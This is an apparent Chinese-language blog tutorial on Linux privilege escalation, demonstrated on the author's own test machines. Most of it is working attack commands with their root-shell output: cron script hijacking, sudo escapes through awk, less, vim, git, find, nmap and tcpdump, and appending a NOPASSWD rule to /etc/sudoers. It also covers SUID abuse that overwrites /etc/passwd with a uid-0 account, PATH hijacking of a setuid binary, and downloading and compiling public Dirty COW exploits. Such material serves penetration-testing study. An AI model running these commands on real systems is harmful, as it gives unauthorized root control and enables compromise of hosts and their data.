linux提权入门

作者: Instu | 来源:发表于2019-09-26 10:57 被阅读0次

    一、crontab提权

    linux系统中可以使用crontab -e命令创建计划任务,/var/spool/cron/目录下保存着每个用户的定时任务,非root用户没有权限列出。另外还可以编辑/etc/crontab设置计划任务,该文件普通用户是可以查看的。

    1. 编辑/etc/crontab,设置每隔1分钟执行一次sh脚本
    */1 * * * * root sh /home/test/test.sh >> /tmp/test.txt
    
    image.png
    1. 如果test用户有权限操作test.sh,则存在提权漏洞。下面使用test用户修改test.sh:将test用户加入sudoers
    [test@localhost ~]$ mv test.sh test.sh.bak
    [test@localhost ~]$ vim test.sh
    echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
    [test@localhost ~]$ cat test.sh
    
    image.png
    1. 等待1分钟后,成功提权
    [test@localhost ~]$ sudo su
    [root@localhost test]# whoami
    
    image.png

    二、sudo提权

    Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。

    1. awk
    • 将awk加入/etc/sudoers
    [root@localhost ~]# visudo
    test ALL=(root) NOPASSWD: /usr/bin/awk
    
    • 执行提权
    [test@localhost ~]$ sudo awk 'BEGIN {system("/bin/bash")}'
    [root@localhost test]# whoami
    root
    
    image.png
    1. less、more
    • 将less和more加入/etc/sudoers
    [root@localhost ~]# visudo
    test ALL=(root) NOPASSWD: /usr/bin/awk,/usr/bin/less /var/log/vmware-install.log,/bin/more /var/log/vmware-install.log
    
    • 执行提权
    [test@localhost ~]$ sudo less /var/log/vmware-install.log 
    输入!/bin/bash
    [root@localhost test]# whoami 
    root
    
    image.png
    1. vim
    [test@localhost Desktop]$ sudo vim -c '!bash'
    [root@localhost Desktop]# whoami
    root
    
    image.png
    1. git
    test@ubuntu:/home$ sudo git help status
    输入!/bin/bash即可获得root权限
    root@ubuntu:/home# whoami 
    root
    
    image.png
    1. find
    [test@localhost ~]$ sudo find /bin/ -name ls -exec /bin/bash \;
    [root@localhost test]# whoami
    root
    
    image.png
    1. nmap
    • 首先创建一个nse文件
    [test@localhost ~]$ echo "os.execute('/bin/bash')" > /tmp/shell.nse
    
    • 然后使用nmap执行脚本进行提权
    [test@localhost ~]$ sudo nmap --script=/tmp/shell.nse
    
    image.png
    1. tcpdump
    • 首先创建一个文件,并赋予执行权限
    [test@localhost ~]$ cat /tmp/test 
    echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
    [test@localhost ~]$ chmod +x /tmp/test
    
    • 进行提权操作
    [test@localhost ~]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
    
    [test@localhost ~]$ sudo su
    [root@localhost test]# whoami 
    root
    
    image.png

    三、S权限位

    Linux中通过设置SUID,可以让程序的执行者临时拥有属主的权限,使用下面的命令可以搜索系统中所有的SUID可执行文件。

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    
    1. cp
      利用过程
    • 生成一个新的/etc/passwd,用户名data密码123
    [test@localhost ~]$ cat /etc/passwd
    [test@localhost ~]$ openssl passwd -1 -salt data 123
    $1$data$GjDuj3QgL0edNBoahZ.Xg/
    [test@localhost ~]$ touch passwd
    将以下内容插入passwd,生成一个新的passwd文件
    data:$1$data$GjDuj3QgL0edNBoahZ.Xg/:0:0::/root:/bin/bash
    
    • 假设cp具有SUID权限,可以通过替换/etc/passwd进行提权
    [root@localhost ~]# chmod u+s /bin/cp
    [test@localhost ~]$ cp passwd /etc/passwd
    [test@localhost ~]$ su data
    Password: 
    [root@localhost test]# whoami 
    root
    
    image.png
    1. bash
      以root身份打开一个bash shell
    [test@localhost ~]$ bash -p
    bash-4.1# whoami
    root
    
    1. find
      查找文件的同时执行命令
    [test@localhost ~]$ find /bin -name ls -exec whoami \;
    root
    
    image.png
    • 利用过程
      使用之前生成的passwd文件,并执行以下命令替换/etc/passwd,其中'{}'指passwd文件的内容
    [test@localhost ~]$ find passwd -exec cp '{}' /etc/passwd \;
    [test@localhost ~]$ su data
    Password: 
    [root@localhost test]# whoami 
    root
    
    image.png

    四、环境变量

    1. 假设当前有一段C语言代码,实现让普通用户可以免密码切到test用户
    #include<unistd.h>
    void main()
    {
        setuid(0);
        setgid(0);
        system("su test");
    }
    
    1. 进行编译,并赋予S权限位
    [root@localhost tmp]# gcc demo.c -o demo
    [root@localhost tmp]# chmod u+s demo
    
    1. 添加环境变量进行提权
    [coler@localhost tmp]$ echo "/bin/bash" > su
    [coler@localhost tmp]$ chmod 777 su 
    [coler@localhost tmp]$ pwd
    /tmp
    [coler@localhost tmp]$ export PATH=/tmp:$PATH
    [coler@localhost tmp]$ ./demo 
    [root@localhost tmp]# whoami 
    root
    [root@localhost tmp]# echo $PATH
    /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/coler/bin
    
    image.png

    五、系统漏洞提权

    脏牛漏洞:测试发现centos7.2之前能成功,7.3开始无法成功
    https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

    1. centos6.5
    • 下载并编译漏洞利用代码
    [test@localhost ~]$ wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
    [test@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
    
    • 执行后会创建一个firefart用户,并将passwd文件备份到/tmp/passwd.bak
    [test@localhost ~]$ ./dirty
    
    image.png
    • 此时切到firefart用户即为root权限,当然我们也可以替换之前的passwd文件
    [test@localhost ~]$ su firefart
    [firefart@localhost test]# id
    [firefart@localhost test]# cp /tmp/passwd.bak /etc/passwd
    
    image.png
    1. centos7.2
    • 下载并编译漏洞利用代码
    [test@localhost ~]$ wget https://raw.githubusercontent.com/gbonacini/CVE-2016-5195/master/dcow.cpp
    [test@localhost ~]$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
    
    • 执行提权
    [test@localhost ~]$ ./dcow 
    

    相关文章

      网友评论

        本文标题:linux提权入门

        本文链接:https://www.haomeiwen.com/subject/trwhyctx.html